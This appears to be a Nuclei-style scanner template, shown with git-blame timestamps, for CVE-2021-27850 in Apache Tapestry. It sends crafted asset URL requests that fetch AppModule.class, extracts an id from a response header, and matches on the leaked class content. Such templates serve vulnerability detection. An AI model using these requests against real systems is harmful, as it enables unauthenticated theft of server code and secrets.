2021-05-21 03:34:16 +00:00
id : CVE-2021-27850
info :
name : Apache Tapestry - Arbitrary class download
author : pdteam
severity : critical
2022-04-22 10:38:41 +00:00
description : |
A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap : Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-27850
cwe-id : CWE-502
2022-04-22 10:38:41 +00:00
tags : cve,cve2021,apache,tapestry
2021-05-21 03:34:16 +00:00
requests :
- raw :
- |
GET /assets/app/something/services/AppModule.class/ HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
2021-09-08 12:17:19 +00:00
2021-05-21 03:34:16 +00:00
- |
GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
extractors :
- type : regex
regex :
- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
internal : true
name : id
part : header
group : 1
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- 'application/java'
part : header
- type : word
words :
- 'configuration'
- 'webtools'
part : body
condition : and